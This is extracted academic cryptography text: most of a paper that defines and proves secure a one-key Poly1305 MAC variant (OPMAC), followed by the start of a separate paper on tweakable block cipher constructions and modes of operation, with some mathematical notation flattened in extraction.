Universal Hash Family, Block cipher, Pseudorandom Permutation, Pseu-
dorandom Function.

1 Introduction

BACKGROUND.In the private key setting, the primitive used to provide data
integrity is a message authentication code. This is a scheme specified by three
algorithms: a key generation algorithm K; a tagging algorithm T and a verifi-
cation algorithm V . The sender and receiver are assumed to be in possession
of a key k generated via K and not known to the adversary. When the sender
wants to send M in an authenticated way to B, she computes a tag σ for M as
a function of M and the secret key k shared between the sender and receiver,
in a manner specified by the tagging algorithm; namely, she sets σ ← TK(M).
This tag accompanies the message in transmission; that is, S transmits M, σ
and often a nonce to B. (Notice that the message is sent in the clear. Also notice
the transmission is longer than the original message by the length of the tag σ
and the length of the nonce). Upon receiving a transmission M ′, σ′ purporting
to be from S, the receiver B verifies the authenticity of the tag by using the
specified verification procedure, which depends on the message, tag, and shared
key. Namely he computes Vk(M ′, σ′), whose value is a bit. If this value is 1, it is
read as saying the data is authentic, and so B accepts it as coming from S. Else
it discards the data as unauthentic. Usually, a message authentication code is
a 3-tuple MA = (K, T, V ) called the “MAC generation”(or signing) algorithm,
the “MAC verification” algorithm, and the “key generator”.

Poly1305 MAC [1], proposed by Bernstein in 2005, computes a 16-byte au-
thenticator of a variable-length message, using a 16-byte block-cipher key k, a
� This research is supported by the National Natural Science Foundation of China un-

der Grant No.60373047 and No.60673069; the National Basic Research 973 Program
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16-byte additional key r, and a 16-byte nonce n. A variant of Poly1305[2], called
DPoly1305, requires a 16-byte block cipher key k and a 16-byte additional key r.
The variant, proposed here, called OPMAC, only needs a 16-byte block-cipher
key k.

Our contribution: In this paper, we present One-key Poly1305 MAC and
prove its security. OPMAC takes only one key, k of a block cipher E. The key
length, 16 bytes, is the minimum because the underlying block cipher must have a
16 bytes key k anyway. See Table1 for comparison with Poly1305 and DPoly1305.
OPMAC is obtained from DPoly1305 by replacing r with Ek(0), so the cost for
reducing the size of secret keys is almost negligible: only one encryption. But
this saving of the key length makes the security proof of OPMAC much harder
than that of Poly1305 MAC and DPoly1305 MAC substantially as shown below.

Table 1. Comparison of key length

Poly1305 DPoly1305 OPMAC
key length 48 bytes 32 bytes 16 bytes

2 Preliminaries

2.1 The Security of Message Authentication Scheme

The security of message authentication scheme is given by Goldwasser and Bel-
lare in chapter 8 in [3], They give the definition through the following experiment.

Experiment Expuf−cma
MA,A

Let k
R← K

Let (M, σ) ← ATk(·)

If Vk(M, σ) = 1 and M was not a query of A to its oracle
Then return 1 else return 0

In this experiment, the adversary A attempt forgery a new pair M, σ un-
der chosen-message attack for this scheme and it is a valid forgery as long as
Vk(M, σ) = 1 and M was never a query to the tagging oracle. From the experi-
ment, we can see that the adversary’s actions are divided into two phases. The
first is a “learning” phase in which it is given oracle access to Tk(·), where k is a
prior chosen at random according to K. It can query this oracle up to q times,
in any manner it pleases, as long as all the queries are messages in the under-
lying message space associated to the scheme. Once this phase is over, it enters
a “forgery” phases, in which it outputs a pair (M, σ). The adversary is declared
successful if Vk(M, σ) = 1 and M was never a query made by the adversary to
the tagging oracle. Associated to any adversary A is thus a success probability.
The insecurity of the scheme is the success probability of the “cleverest” possi-
ble adversary, amongst all adversaries restricted in their resources to some fixed
amount. We choose as resources the running time of the adversary, the number
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of queries it makes, and the total bit-length of all queries combined plus the bit-
length of the output message M in the forgery. Formally, we have the following
definition.

Definition 1. Let MA = (K, T, V ) be a message authentication scheme, and let
A be an adversary that has access to an oracle. Let Advuf−cma

MA,A be the probability
that experiment Expuf−cma

MA,A returns 1. Then for any t, q, μ let

Advuf−cma
MA (t, q, μ) = max

A
{Advuf−cma

MA,A }

where the maximum is over all A running in time t making at most q oracle
queries, and such that the sum of the lengths of all oracle queries plus the length
of the message M in the output forgery is at most μ bits.

In the following, we will use this notion to prove the security of OPMAC.

2.2 Universal Hash Families

Universal hashing paradigm is introduced by Carter and Wegman [4,5] and is
used to construct Carter-Wegman MAC. The Carter-Wegman MACs are those
which use a function from a Universal Hash Family to compress the message M to
be MACed. The output of this hash function is then processed cryptographically
to produce the tag. The Poly1305 MAC is a typical Carter-Wegman MAC.

There are many different types of Universal Hash Families, and we now present
three of them that will be used later.

In the following discussion and throughout the paper it is assumed that the
domain and range of universal hash functions are finite sets of binary strings
and that the range is smaller than the domain.

Definition 2. [Carter and Wegman,1979] Fix a domain D and range R.
A finite multiset of hash functions H = {h : D −→ R} is said to be Universal if
for every x, y ∈ D where x �= y, Prh∈H[h(x) = h(y)] = 1/|R|

If we slightly relax the requirement of the collision probability to be some ε ≥
1/|R|, we will get the notion of Almost Universal Hash Families.

Definition 3. [4,6] Let ε ∈ R+ be a positive number. Fix a domain D and a
range R. A finite multiset of hash functions H = {h : D −→ R} is said to be
ε-Almost Universal(ε-AU) if for every x, y ∈ D where x �= y, Prh∈H[h(x) =
h(y)] ≤ ε

Definition 4. [7,8] Let (B, +) be an Abelian group. A family H of hash func-
tions that maps from a set A to the set B is said to be ε-almost Δ-universal
(ε-AΔU)w.r.t.(B, +), if for any distinct elements x, y ∈ A and for all g ∈ B:

Prh∈H[h(x) − h(y) = g] ≤ ε

H is ΔU if ε = 1/|B|.
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Note that for the classes of hash function families defined in definitions 1-3,
the latter are contained in the former, i.e. an ε-AΔU family is also an ε-AU
family.

3 Definition of OPMAC

Some of the content is the same as the content in the Ploy1305[1]. We include
here for completeness.

Messages
A message is any sequence of bytes m[0] , m[1] , · · · , m[l − 1]; a byte is any

element of {0, 1, · · · , 255}. The length l can be any nonnegative integer, and can
vary from one message to another.

Block cipher
OPMAC requires a block cipher E : K × {0, 1}128 → {0, 1}128. Any block

cipher that is pseudo-random permutation can be used here.
Key
OPMAC authenticates messages using a 16-byte secret key k shared by the

message sender and the message receiver. Using this block cipher key k, we let
r = Ek(0). Here we represents this 128-bit integer r in unsigned little-endian
form: i.e.,r = r[0] + 28r[1] + · · · + 2120r[15].

Conversion and padding
Let m[0], m[1], · · · , m[l − 1] be a message. Write p = �l/16	, Define integers

c1, c2, · · · , cp ∈ {1, 2, 3, · · · , 2129} as follows: if 1 ≤ i ≤ 
l/16� then

ci = m[16i − 16] + 28m[16i − 15] + 216m[16i − 14] + · · · + 2120m[16i − 1] + 2128

if l is not a multiple of 16 then

cp = m[16p − 16] + 28m[16p − 15] + · · · + 28(l mod 16)−8m[l − 1] + 28(l mod 16)

In other words: Pad each 16-byte chunk of a message to 17 bytes by appending
a 1. If the message has a final chunk between 1 and 15 bytes, append 1 to the
chunk, and then zero-pad the chunk to 17 bytes. Either way, treat the resulting
17-byte chunk as an unsigned little-endian integer.

Authenticators
The OPMAC authenticator of a message m under secret key k is defined as

the 16-byte string

Ek(((c1r
p + c2r

p−1 + · · · + cpr
1) mod 2130 − 5) mod 2128)

Here c1, c2, · · · , cp, block cipher E and r are defined above.

4 Security of OPMAC

Firstly, we discuss the properties of Poly hash and the relation between PRP
and PRF, and then we give Theorem 1 and prove it.
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4.1 Properties of Poly Hash

Here we describe a hash family called “Poly hash.” Let the hash domain D =
{0, 1}∗. Let Poly hash H = {Hr : D → {0, 1}128} be the family of functions
where members are selected by the random choice of some r. For any message
m, write m for the polynomial c1x

p + c2x
p−1 + · · · + cpx

1, where p, c1, c2, · · · , cp

are defined as in Section 3. Define Hr(m), a member of Poly hash, as the 16-
byte unsigned little-endian representation of (m(r)mod 2130 − 5) mod 2128. We
now show that Poly hash has the properties that we need, in the next two
straightforward lemmas.

Lemma 1 (Poly hash is ε-AΔU family). Fix n ≥ 1. The function Poly hash
is 8�l/16	/2128-ε-almost Δ-universal (ε-AΔU) when its inputs having at most l
bytes.

Proof. We consider two distinct input m and m′, then analyze the probability
of the event that

Hr(m) = Hr(m′) + g

for some fixed 16-byte string g.
From the theorem 3.3 of [1], we know that there are at most 8�l/16	 integers

r ∈ {0, · · · , 2130 − 6} such that this equation. If r is a uniform random element
of {0, 1}128, then Hr(m) = Hr(m′) + g with probability at most 8�l/16	/2128.
Consequently, if r is a uniform random element of {0, 1}106 as defined in Ploy1305
MAC, then this probability at most 8�l/16	/2106.

From section 2.2, we know “Poly hash” is also an ε-AU family, ie. Pr[Hr(m) =
Hr(m′)|r R← {0, 1}128] ≤ 8�l/16	/2128 �


Lemma 2 (Poly hash is unlikely to return zero). The function Hr defined
above satifies

Pr[Hr(m) = 0128|r R← {0, 1}128] ≤ 7�l/16	/2128 < 8�l/16	/2128

for all messages m having at most l bytes.

Proof. The condition that Hr(m) = 0128 can be expressed as

m(r) mod 2130 − 5 mod 2128 = 0

Define U as the set of integers in [−2130 + 6, 2130 − 6] congruent to 0 modulo
2128. Note that #U ≤ 7.

If Hr(m) = 0 then (m(r) mod 2130−5) ≡ 0( mod 2128) so (m(r) mod 2130−
5) = u for some u ∈ U . Hence r is a root of the polynomial m modulo the prime
2130 − 5. This polynomial is nonzero by the definition of it, and has degree at
most �l/16	, so it has at most �l/16	 roots modulo 2130 − 5. Sum over all u ∈ U :
there are most 7�l/16	 possibilities for r. Consequently, if r is a uniform random
element of {0, 1}128, then Hr(m) = 0 with probability at most 7�l/16	/2128.
While, if r is a uniform random element of {0, 1}106 as defined in Ploy1305
MAC, then this probability will decrease to 8�l/16	/2106. �
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4.2 A PRP Can Be a Good PRF

Perhaps the best-known cryptographic primitive is the block cipher. Cryptogra-
phers like to use the alternate name “Finite Pseudorandom Permutation”(Finite
PRP) since it is more descriptive. A finite PRP is a family of permutations where
a single permutation from the family is selected by a finite string called the “key”.

The security of a PRP is defined based on its “closeness” to a family of truly
random permutations. If the adversary is unable to distinguish well between
these two types of oracles, we say that the PRP is secure. The following two
definitions come from section 2.2 of [9].

Definition 5. Let D be a PRP adversary and let E be a PRP with block length
l and key length n. Define the advantage of D as follows:

Advprp
E,D = Pr[DEk(·) = 1|k R← {0, 1}n] − Pr[Dπ(·) = 1|π R← Perml→l]

Pseudorandom Functions are another extremely useful building block used in
cryptographic protocol. PRFs are a natural relaxation of PRPs: whereas PRPs
were required to be permutations, PRFs need only be functions. The syntax and
definition of security are completely analogous to the above but are given here
for completeness.

Definition 6. Let D be an adversary and let E be a PRF with input length l,
output length L, and key length n. Define the advantage of D as follows:

Advprf
E,D = Pr[DEk(·) = 1|k R← {0, 1}n] − Pr[Dρ(·) = 1|ρ R← Randl→L]

It is often convenient to replace random permutations with random functions,
or vice versa, in security proof. The following lemma lets us easily do this. For
a proof see Proposition 2.5 in [10].

Lemma 3 (A PRP can be a good PRF). The advantage Advprf
E,A of an

adversary A in distinguishing a n-bit PRP E from a random function is
bounded by

Advprf
E,A ≤ Advprp

E,A + q(q − 1)/2n+1

where the value q is the number of queries to the function oracle.

4.3 Security Proof of OPMAC

We use the standard model for the security of a MAC in the presence of chosen-
message attack, in which an adversary is given access to a tag generation oracle
and a message/tag verification oracle. That is we defined in section 2.1. Formally
we define the “experiment of running the adversary” A in an attack on scheme
OPMAC as following.
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Experiment Expuf−cma
OPMAC,A

Let k
R← K

r = Ek(0)
Let (M, σ) ← AEk(Hr(·))

If Vk(M, σ) = 1 and M was not a query of A to its oracle
Then return 1 else return 0

From the Definition 1 we know Advuf−cma
OPMAC,A be the probability that experi-

ment Expuf−cma
OPMAC,A returns 1.

Theorem 1 (OPMAC is secure). Let q, t ≥ 1 be integers, Let E be a 128-bit
PRP and lP be the total number of plaintext bits and len(M) ≤ l for each query.
Then

Advuf−cma
OPMAC(t, q, lP ) ≤ Advprp

E (t′, q′) +
(q + 2)2(1 + 8�l/16	)

2129 +
1

2128 (1)

where q′ = q + 1 and t′ ≈ t

Proof. Let A by any forger attacking the message authentication code OPMAC.
Assume the oracle in Experiment Expuf−cma

OPMAC,A is invoked at most q times, and
the “running time” of A is at most t. We design BA, which is a distinguisher
for PRP E : {0, 1}128 × {0, 1}128 → {0, 1}128 versus Rand128→128. BA is given
an oracle for a function f : {0, 1}128 → {0, 1}128. It will run A, providing it an
environment in which A’s oracle queries are answered by BA. When A finally
outputs its forgery, BA checks whether it return 1, and if so bets that f must
have been a block cipher rather than a random function.

By assumption the oracle in Experiment Expuf−cma
OPMAC,A is invoked at most

q + 1 times, and for simplicity we assume it is exactly q + 1. This means that
the number of queries made by A to its oracle is q − 1. Here now is the code
implementing BA.

Distinguisher Bf
A

r = f(0)
For i = 1, · · · , q − 1 do

When A asks its oracle some query, Mi, answer with f(Hr(Mi))
End For
A outputs (M, σ)
σ′ ← f(Hr(M))
If σ = σ′ and M was not a query of A to its oracle
Then return 1 else return 0

At the very outset of the experiment, we query the function oracle with the
input value 0, and set r to the value returned by the oracle. When A makes its
first oracle query M1, algorithm BA pause and computes f(Hr(M1)) using its
own oracle f . The value f(Hr(M1)) is returned to A and the execution of the
latter continues in this way until all its oracle queries are answered. Now A will
output its forgery (M, σ), BA verifies the forgery, and if it is correct, return 1.
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We denote the event that the distinguisher Bf
A return 1 as D, the event that

f
R← Rand128→128 as B and the event that all the input to the function oracle f

during the experiment are distinct as Z, Our analysis uses the following facts:

Fact 1. Advuf−cma
OPMAC,A = Pr[D|f R← E] which follows directly from the definition

of the forgery advantage.

Fact 2. For any three events A, B and C

Pr[A|B] =
Pr[A ∩ B]

Pr[B]

=
Pr[A ∩ B ∩ C]

Pr[B]
+

Pr[A ∩ B ∩ Cc]
Pr[B]

=
Pr[A ∩ B ∩ C]

Pr[B ∩ C]
Pr[B ∩ C]

Pr[B]
+

Pr[A ∩ B ∩ Cc]
Pr[B ∩ Cc]

Pr[B ∩ Cc]
Pr[B]

= Pr[A|B ∩ C]Pr[C|B] + Pr[A|B ∩ Cc]Pr[Cc|B]

We now proceed to the analysis. From Definition 5 ,Definition 6 and the
notions above We claim that

Advprf
E,BA

= Pr[Bf
A = 1|f R← E] − Pr[Bf

A = 1|f R← Rand128→128]

= Pr[D|f R← E] − Pr[D|B]

= Advuf−cma
OPMAC,A − Pr[D|B]

= Advuf−cma
OPMAC,A − Pr[D|B ∩ Z]Pr[Z|B] − Pr[D|B ∩ Zc]Pr[Zc|B]

≥ Advuf−cma
OPMAC,A − Pr[D|B ∩ Z] − Pr[D|B ∩ Zc]

We rely on the fact that Pr[D|B ∩ Z] and Pr[D|B ∩ Zc] are extremely small
to keep the advantage low, and next consider those values.

First we consider Pr[D|B∩Z]. When the events B and Z occur in conjunction
in BA, f is an instance of random function and the input to this function are
all distinct. In this case, A is running in an environment that is alien to it,
namely one where a random function is being used to compute MACs. We have
no idea what A will do in this environment, but no matter what, we know that
the probability that σ = f(Hr(M)) is 2−128, because f is a random function, as
long as A did not query M of its oracle. so we have:

Pr[D|B ∩ Z] ≤ 2−128

Next consider Pr[D|B ∩ Zc]. In this case, f is an instance of random function
and there are collision in the input to this function. We don’t know necessarily
how adversary might use this to her advantage, but certainly some information
about the hash function is being given away here. So we will count any collision
in the hash function as a bad event. We now compute the probability that a
collision occurs in the hash function.
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Let Ci be event that a collision occurs for the first time on the i-th query. We
know Pr[C0] = 0 the first query to get r. In general, Pr[Ci] ≤ iε since there are
i distinct values to collide with and at most an ε chance of hitting any of them.
Therefore our bound is.

Pr[D|B ∩ Zc] ≤
q+1∑

0

Pr[Ci] ≤
q+1∑

0

iε = ε

q+1∑

0

i = ε(q + 1)(q + 2)/2

From the lemma 1 and lemma 2 we know ε ≤ 8�l/16	/2128, so we get

Pr[D|B ∩ Zc] ≤ 8�l/16	
2128

(q + 1)(q + 2)
2

Thus we have

Advprf
E,BA

≥ Advuf−cma
OPMAC,A − Pr[D|B ∩ Z] − Pr[D|B ∩ Zc]

≥ Advuf−cma
OPMAC,A − 1

2128 − 8�l/16	
2128

(q + 1)(q + 2)
2

Using lemma 3 we get

Advuf−cma
OPMAC,A ≤ Advprp

E,BA
+

q(q − 1)
2129 +

(q + 2)2

2
8�l/16	

2128 +
1

2128 (2)

≤ Advprp
E,BA

+
(q + 2)2(1 + 8�l/16	)

2129 +
1

2128 (3)

We now proceed to the analysis. We claim that

Advuf−cma
OPMAC(t, q, lP ) = max

A
{Advuf−cma

OPMAC,A}

≤ max
A

{Advprp
E,BA

+
q(q − 1)

2129 +
(q + 2)2

2
8�l/16	

2128 +
1

2128 }

≤ max
A

{Advprp
E,BA

} +
q(q − 1)

2129 +
(q + 2)2

2
8�l/16	

2128 +
1

2128

≤ max
B

{Advprp
E,B} +

q(q − 1)
2129 +

(q + 2)2

2
8�l/16	

2128 +
1

2128

≤ Advprp
E (t′, q′) +

(q + 2)2(1 + 8�l/16	)
2129 +

1
2128

Above the first equality is by the Definition 1. The following inequality uses
Equation 3. Next we simplify using properties of the maximum, and conclude
by using the definition of the insecurity function as per Definition 5.5 of [3]. �


From the proof of above, we know OPMAC is UF-1(UnForgeability under
a single verification query) and deterministic, [11] tell us it is also UF-M
(UnForgeability under Multiple verification queries),that is to say, OPMAC is
still secure when allows multiple forgery attempts.

The security bound of OPMAC is worse than that Poly1305 claimed, but
it is as good as many popular MACs,such as PMAC[12],OMAC[13] and CBC
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MAC[10]. On the other hand, we can constrain r in {0, 1}106 as defined in
Poly1305 MAC to accelerate implementations of “Poly hash” in various contexts.
Although the security bound will get a bit worse, the MAC is likely suitable for
many communications where attackers are not allowed an excessive number of
forgery attempts.

5 Conclusions

In this paper we present One-key deterministic Ploy1305 MAC(OPMAC) and
prove its security. OPMAC takes only one key, k of a block cipher E. The key
length, 16 bytes, is the minimum because the underlying block cipher must have
a 16 bytes key k anyway. The shorter key is very important for performance not
only in the situation that one frequently changes the secret key but also in the
situation that the resources that can be used are limited. For example, a wireless
access point could be handling 1000 keys at any one time. Using 16-byte key can
save 16KB additional memory than using 32-byte key. This is very important in
small embedded devices.
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Abstract. This work builds on earlier work by Rogaway at Asiacrypt
2004 on tweakable block cipher (TBC) and modes of operations. Our
first contribution is to generalize Rogaway’s TBC construction by work-
ing over a ring R and by the use of a masking sequence of functions. The
ring R can be instantiated as either GF (2n) or as ZZ2n . Further, over
GF (2n), efficient instantiations of the masking sequence of functions can
be done using either a Linear Feedback Shift Register (LFSR), a powering
construction or a cellular automata map. Rogaway’s TBC construction
was built from the powering construction over GF (2n). Our second con-
tribution is to use the general TBC construction to instantiate general
constructions of various modes of operations (AE, PRF, MAC, AEAD)
given by Rogaway.

Keywords: tweakable block cipher, modes of operations, AE, MAC,
AEAD.

1 Introduction

Symmetric ciphers form the backbone of encryption technology since all bulk
encryptions are done using symmetric ciphers. A block cipher has to be used in an
appropriate mode of operation for performing such encryption. Thus, designing
efficient and secure modes of operations is as important as developing a secure
block cipher.

Liskov, Rivest and Wagner [8] introduced the concept of tweakable block
cipher, which is a block cipher with an additional input called a tweak. The
tweak is meant to provide variability and not security. They also showed that
it is possible to build secure modes of operations starting from a TBC. This
theme was developed by Rogaway in [12] where efficient constructions of TBC
and different modes of operations were presented.

In this paper, we continue the work on construction of efficient TBC and
modes of operations based on it. Our work depends heavily on the work of

H. Lipmaa, M. Yung, and D. Lin (Eds.): Inscrypt 2006, LNCS 4318, pp. 88–102, 2006.
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Rogaway [12]. Below we mention our specific contributions and relate to the
work of [12].

Tweakable block cipher: We define a sequence of functions f1, f2, . . . , f2n−2, with
fi : {0, 1}n → {0, 1}n, with a particular set of properties to be a masking
sequence. Given block cipher E : K×{0, 1}n → {0, 1}n and a masking sequence,
we define a TBC having tweak space T = {0, 1}n × {1, . . . , 2n − 2} by either the
XE or the XEX constructions.

In the XE construction: ˜EN,i
K (M) = EK(M + fi(N )); whereas in the XEX

construction: ˜EN,i
K (M) = EK(M + fi(N )) − fi(N ), where (N, i) is the tweak

and N = EK(N). Addition (and subtraction) is over a commutative ring R =
({0, 1}n, +, ·) with identity. Typical instantiations of R are as GF (2n) and ZZ2n .

In the case where R is GF (2n), we use a primitive polynomial τ(x) to represent
GF (2n) and consider N to be an n-bit vector. The map fi(N ) is defined to be
fi(N ) = NGi, where G is an n × n matrix over GF (2) having τ(x) as its
characteristics polynomial. Efficient realization of G can be done by a linear
feedback shift register (LFSR), a powering construction used in [12] or as a
cellular automata (CA) map. In the case where R is ZZ2n , we define fi(N ) =
((i + 1)N mod p) mod 2n, where p = 2n + δ is the least prime greater than 2n.

The XE and the XEX constructions were presented in [12] over GF (2n) using
the powering construction. The abstraction of the ring R, the use of LFSR and
CA and the instantiation of R as ZZ2n are new to this paper.

Authenticated Encryption (AE): Given a TBC with an appropriate tweak space,
Rogaway [12] showed how to construct an AE protocol. Rogaway instantiates
his AE construction with his TBC construction. This method requires the com-
putation of a discrete logarithm over GF (2n). It will be a serious problem to
implement this mode of operation for 256-bit ciphers, as it is very difficult to
compute discrete log over GF (2256).

We show two methods to instantiate Rogaway’s AE construction with our
general TBC construction. The first method, which we call linear separation, is
based on Rogaway’s technique. Thus, as in the case of Rogaway, when we work
over GF (2n), the linear separation method requires the computation of a discrete
logarithm (as a one-time design stage activity). The second method, which we
call interleaved separation, is introduced in this paper. This method does not
require the discrete log computation and hence is more generally applicable.

In [12], Rogaway also presents constructions of pseudorandom function (PRF),
message authentication code (MAC) and authenticated encryption with associ-
ated data (AEAD) protocols from TBCs with appropriate tweak spaces and
shows how to instantiate these with his TBC construction. We show how to
instantiate the PRF, MAC and AEAD protocols of Rogaway with the general
TBC construction using the techniques of linear and interleaved separation.

A net effect of our generalization is to uncover a suite of efficient previously
unknown protocols for AE, PRF, MAC and AEAD.
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Previous and Related Work: The formal model of security for AE was
independently proposed by [6] and [1]. Jutla [5] proposed constructions for single-
pass AE, including one fully parallelizable protocol. Independent work due to
Gligor and Donescu [4] also proposed single-pass AE protocols. A refinement
and extension of Jutla’s parallelizable protocol was done by Rogaway [13] and
was called the OCB.

In a separate development, the notion of TBCs and their application to modes
of operations was proposed by Liskov, Rivest and Wagner [8]. The construction
of TBC in [8] was not very efficient. The first efficient construction of TBC was
given by Rogaway [12]. As discussed earlier, our work is a development on the
work of [12].

Construction of MAC and AEAD protocols are also of equal importance.
There has been a lot of research on the security model and design of these
protocols [3,11]. A separate line of research has consisted of developing two-pass
AE protocols (some examples are [10,2,9]). The work [9] presents an AE protocol
which is somewhere between one and two pass protocols.

2 Preliminaries

Our notation and definitions closely follow [12].
A block cipher is a map E : K × {0, 1}n → {0, 1}n, where K is a finite

non-empty set called the key space and for all K ∈ K, E(K, ·) = EK(·) is
a permutation of {0, 1}n. A TBC is a map ˜E : K × T × {0, 1}n → {0, 1}n,
where T is a finite non-empty set called the tweak space and ˜E(K, T, ·) = ˜ET

K(·)
is a permutation of {0, 1}n. The inverse D of a block cipher is a map D =
E−1 such that D(K, E(K, X)) = X . Similarly, the inverse of a TBC satisfies
˜D(K, T, ˜E(K, T, X)) = X .

Perm(n) denotes the set of all permutations of {0, 1}n and Perm(T , n) denotes
the set of all mappings from T to Perm(n). Similarly Rand(n) denotes the set
of all n bit to n bit functions and Rand(T , n) denotes the set of all mappings

from T to Rand(n). The notation π
$← Perm(n) denotes the choice of a random

permutation on n bits while π
$← Perm(T , n) denotes the choice of a random

permutation π(T, ·) = πT (·) for each element T ∈ T .
An adversary is a probabilistic algorithm with possible access to encryption

and/or decryption oracles. The notation AO1,O2 ⇒ 1 denotes the event that an
adversary A outputs 1 after interacting with the oracles O1 and O2. We will
assume that an adversary does not ask a query for which it can easily obtain
the answer. Thus, it never repeats a query; does not ask for the decryption
of a ciphertext which it has previously received as an output of an encryption
query; and neither does it ask for the encryption of a plaintext which it has
previously received as output of a decryption query. The notation Adv(A) de-
notes the advantage of an adversary A. The definitions of various advantages
are as follows.
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Definition 1. Let EK(·) and ˜ET
K(·) be a block cipher and a TBC respectively

and let A be an adversary. We define the following advantages.

Advprp
E (A) = Pr[K $← K : AEK(·) ⇒ 1] − Pr[π $← Perm(n) : Aπ(·) ⇒ 1].

Adv±prp
E (A) = Pr[K $← K : AEK(·),DK(·) ⇒ 1]−

Pr[π $← Perm(n) : Aπ(·),π−1(·) ⇒ 1].

Adv
�prp
�E

(A) = Pr[K $← K : A
�EK(·,·) ⇒ 1] − Pr[π $← Perm(T , n) : Aπ(·,·) ⇒ 1].

Adv±�prp
�E

(A) = Pr[K $← K : A
�EK(·,·), �DK(·,·) ⇒ 1]−

Pr[π $← Perm(T , n) : Aπ(·,·),π−1(·,·) ⇒ 1].

Here D and ˜D denote the inverses of E and ˜E respectively.

The extension of these advantages to resource bounded advantages are done in
the usual manner: Advxxx

Π (R) = supA{Advxxx
Π (A)} over all adversaries A that

use resources at most R. The resources of interest are the number of queries q
made by the adversary, the total number σn of n-bit blocks provided by the
adversary in all its queries and the running time t.

3 Construction of Tweakable Block Ciphers

Let R = ({0, 1}n, +, ·) be a commutative ring with identity. We define a sequence
of functions.

Definition 2 (Masking Sequence). Let f1, f2, . . . , fm be a sequence of func-
tions where each fs : {0, 1}n → {0, 1}n. We say that the sequence is an (n, m, μ)
masking sequence if the following properties hold.

(1) Pr[fs(N ) = α] ≤ 1
μ , for 1 ≤ s ≤ m.

(2) Pr[fs(N ) = N + α] ≤ 1
μ , for 1 ≤ s ≤ m.

(3) Pr[fs(N ) = ft(N ) + α] ≤ 1
μ , for 1 ≤ s, t ≤ m and s �= t.

(4) Pr[fs(N ) = ft(N ′) + α] ≤ 1
μ , for 1 ≤ s, t ≤ m.

Here the operation “+” is over R. The probabilities are taken over independent
and random choices of N and N ′ from {0, 1}n; and α is any fixed element of
{0, 1}n.

In our constructions of fs’s we will have μ to be either equal to or slightly less
than 2n. There is an efficiency consideration while defining the f ’s. Given the
value of fs(N ), it should be “easy” to compute fs+1(N ).

The construction of a TBC that we present below is a natural generalization
of the construction given in [12]. We construct a TBC

˜E : K × ({0, 1}n × {1, 2, . . . , 2n − 2}) × {0, 1}n → {0, 1}n.

The tweak space T = {0, 1}n × {1, 2, . . . , 2n − 2}. We write ˜EN,l
K (M) to denote

˜E(K, (N, l), M).



92 D. Chakraborty and P. Sarkar

XE Construction: In this construction, ˜EN,l
K (M) is defined as follows.

˜EN,l
K (M) = EK(M + Δ), where Δ = fl(N ) and N = EK(N). (1)

XEX Construction: In this construction, ˜EN,l
K (M) is defined as follows.

˜EN,l
K (M) = EK(M + Δ) − Δ, where Δ = fl(N ) and N = EK(N). (2)

The operations “+” and “−” in the XE and the XEX constructions are over the
ring R. Further, the function fl() is from an (n, 2n − 2, μ) masking sequence.

The Δ’s act as masks. In the XE construction, the message block is masked,
while in the XEX construction both the message block and the output of the
encryption are masked. The XE and the XEX constructions were introduced
by Rogaway [12]. We generalize by working over R and the use of the masking
sequence of functions. Later we show that there are several different ways of
efficiently instantiating R and the masking sequence.

Next we state the security of XE and XEX constructions. The proof of the
XE construction is very similar to that given in [12]. The proof of the XEX
construction was not given in [12] and it was remarked that the proof is similar
to that of the XE construction. However, the proof of the XEX construction
requires an additional consideration of the range set of a random function and
collisions in the range set. We do not present the proof here. The proof will be
presented in the full version of the paper.

Theorem 1 (Security of XE and XEX Constructions).
Security of XE:

Adv
�prp
�E

(t, q) ≤ Advprp
E (t′, 2q) +

5q2

2n+1 +
2q2

μ
(3)

Security of XEX:

Adv±�prp
�E

(t, q) ≤ Adv±prp
E (t′, 2q) +

5q2

2n+1 +
4q2

μ
(4)

In both the above inequalities, t′ = t + cq + c′ for constants c, c′.

4 Instantiating R

The XE and the XEX constructions and the security proofs are obtained in the
abstract setting of the ring R using a masking sequence. For efficient imple-
mentation, we have to specify R and also define appropriate masking sequences
f1, . . . , fm. The ring R can be endowed with two natural structures: The finite
field GF (2n) and the ring ZZ2n . Note that once R and the fi are specified, both
the XE and the XEX constructions become concrete.
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4.1 R as GF (2n)

The set {0, 1}n can be considered to be the set of all binary polynomials of
degree less than n and made into the field GF (2n) under multiplication modulo
a fixed irreducible polynomial τ(x) of degree n. For our purpose, we will choose
τ(x) to be a primitive polynomial.

Let G be an n × n matrix over GF (2) having τ(x) as its characteristic poly-
nomial. We consider N to be an n-bit row vector. For 1 ≤ l ≤ 2n − 2, define

fi(N ) = NGi. (5)

Proposition 1. The sequence f1, f2, . . . , f2n−2 defined by (5) is an (n, 2n −
2, 2n) masking sequence (see Definition 2).

The proof of this will appear in the full version. To specify the function fi(), it is
sufficient to specify the matrix G in (5). For the proof of Proposition 1, we only
need τ(x) to be a primitive polynomial. However, a multiplication by a general
G can be costly compared to one block cipher invocation. On the other hand, if
G has a simple form then it can be very fast to implement. We point out three
efficient choices of G.

Let τ(x) = xn ⊕ tn−1x
n−1 ⊕ t1x ⊕ t0. Note that since τ(x) is primitive (and

hence irreducible), the constant term t0 must be 1. Define the matrix Aτ (having
characteristic polynomial τ(x)) as follows.

Aτ =

⎛

⎜

⎜

⎜

⎜

⎜

⎝

tn−1 1 0 . . . 0 0
tn−2 0 1 . . . 0 0

...
...

...
...

...
...

t1 0 0 . . . 0 1
t0 0 0 . . . 0 0

⎞

⎟

⎟

⎟

⎟

⎟

⎠

.

Linear Feedback Shift Register (LFSR): We set G = Aτ . The matrix Aτ (and
hence G) can be implemented using a binary LFSR (see [7]).

Powering Construction: Let a(x) be a polynomial of degree less than n. The
map used in [12] is a(x) 	→ xa(x) mod τ(x). Let b(x) = xa(x) mod τ(x). If
the coefficients of a(x) (resp. b(x)) are given by a vector N (resp. N ′) then
N ′ = NBτ , where Bτ is the transpose of Aτ . Thus, in this case G = Bτ .

Cellular Automata (CA): Another (perhaps less well known) linear map is the
CA map. In this map, the matrix G is a tridiagonal matrix of the following
form: Gi,j = 1, if |i − j| = 1; Gi,j = 0 or 1, if i = j; and Gi,j = 0 otherwise.
The diagonal entries of G can be obtained from the polynomial τ(x) using a
tri-diagonalization procedure due to Tezuka and Fushimi [14].

Hardware implementation of one LFSR or CA operation can be completed in
one clock cycle. Hardware implementation of the powering construction requires
one shift and one conditional XOR if an−1 = 1 leading to one or two clock cycles
per operation. Software implementation of all the above three methods requires
a few shifts and XORs.
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4.2 R as ZZ2n

The set {0, 1}n can be considered to be the set of all non-negative integers less
than 2n and made into the ring ZZ2n by performing addition and multiplication
